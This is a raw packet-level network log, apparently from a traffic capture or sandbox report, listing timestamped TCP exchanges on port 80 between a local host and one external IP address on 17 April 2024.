Apr 17, 2024 06:57:14.904747963 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.904750109 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.904762983 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.904772043 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.904791117 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.904808044 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.905042887 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.905080080 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.905095100 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.905105114 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.905111074 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.905129910 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.905129910 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.905158997 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.914278030 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.914294958 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.914340973 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.914392948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.914407015 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.914410114 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.914448977 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.914448977 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.927290916 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.927306890 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.927321911 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.927335024 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.927347898 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.927347898 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.927386045 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.927386045 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.927552938 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.927594900 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.927603960 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.927619934 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.927633047 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.927644968 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.927675009 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.927675009 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.928011894 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.928040981 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.928056955 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.928071022 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.928085089 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.928085089 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.928134918 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.928134918 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.928339958 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.928381920 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.928385973 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.928399086 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.928412914 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.928423882 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.928450108 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.928450108 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.928592920 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.928620100 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.928636074 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.928637028 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.928649902 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.928657055 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.928675890 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.928704977 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.929202080 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.929230928 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.929248095 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.929256916 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.929263115 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.929281950 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.929310083 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.929847956 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.929903984 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.929949999 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.929965973 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.929979086 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.929997921 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.930027962 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.930238962 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.930255890 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.930270910 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.930284977 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.930299997 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.930331945 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.930331945 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.930610895 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.930628061 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.930643082 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.930658102 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.930669069 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.930705070 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.930705070 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.931010008 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.931026936 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.931042910 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.931056976 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.931061029 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.931101084 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.931101084 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.931102037 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.931359053 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.931404114 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.931417942 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.931421041 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.931435108 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.931437969 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.931484938 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.931484938 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.932754993 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.932792902 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.932817936 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.932833910 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.932838917 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.932838917 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.932877064 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.932878017 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.933315992 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.933342934 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.933360100 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.933365107 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.933374882 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.933387995 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.933418989 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.933418989 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.933650017 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.933682919 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.933698893 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.933708906 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.933712959 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.933728933 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.933747053 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.933929920 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.933975935 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.933984041 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.934000015 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.934015989 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.934040070 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.934040070 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.934076071 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.934515953 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.934531927 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.934546947 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.934562922 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.934575081 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.934604883 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.934604883 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.935040951 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.935058117 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.935072899 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.935087919 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.935107946 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.935108900 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.935139894 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.935300112 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.935354948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.935359955 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.935372114 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.935391903 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.935400963 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.935400963 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.935431004 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.935719013 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.935734987 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.935750008 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.935764074 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.935776949 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.935810089 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.935810089 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.936072111 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.936095953 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.936120033 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.936135054 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.936151981 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.936151981 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.936151981 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.936191082 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.936471939 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.936501980 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.936517954 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.936520100 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.936532974 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.936542034 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.936568022 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.936568022 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.936844110 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.936868906 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.936885118 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.936889887 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.936898947 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.936925888 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.936925888 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.936963081 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.937202930 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.937242031 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.937248945 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.937258959 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.937273026 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.937282085 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.937300920 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.937330008 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.937608957 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.937624931 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.937640905 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.937655926 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.937665939 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.937665939 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.937710047 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.937710047 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.937875986 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.937892914 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.937908888 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.937923908 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.937936068 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.937967062 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.937967062 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.938256979 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.938308954 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.938318014 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.938324928 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.938338995 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.938343048 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.938364029 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.938393116 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.938575029 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.938611984 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.938621044 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.938630104 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.938644886 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.938652992 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.938673019 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.938699961 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.938839912 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.938855886 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.938869953 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.938903093 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.938932896 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.069987059 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.273104906 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.389652967 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.389676094 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.389691114 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.389704943 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.389820099 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.389846087 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.389863968 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.389864922 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.389864922 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.389879942 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.389964104 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.390141964 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.390166998 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.390171051 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.390183926 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.390197992 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.390198946 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.390223026 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.390223026 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.390271902 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.447382927 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.447437048 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.447453022 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.447465897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.447618961 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.447618961 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.447618961 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.447619915 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.448136091 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.448215008 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.448299885 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.448314905 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.448331118 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.448354006 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.448369980 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.448394060 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.448394060 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.448396921 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.448415041 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.448430061 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.448441982 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.448441982 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.448446035 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.448462009 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.448462009 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.448482990 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.448740005 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.448784113 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.448800087 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.448812962 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.448815107 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.449078083 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.449114084 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.449114084 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.449156046 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.449170113 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.449592113 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.505151987 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.505208015 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.505223036 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.505235910 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.505242109 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.505465031 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.505481958 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.505513906 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.505542994 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.505558968 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.505558968 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.505736113 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.505876064 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.505944967 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.505960941 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.505975008 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.505976915 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.506055117 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.506212950 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.506285906 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.506309032 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.506319046 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.506324053 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.506383896 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.506563902 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.506664991 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.506680012 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.506686926 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.506695032 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.506726027 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.506726027 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.506793022 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.507216930 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.507244110 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.507261038 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.507275105 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.507293940 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.507311106 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:15.507323980 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:15.507327080 CEST	80	49730	185.172.128.23	192.168.2.4
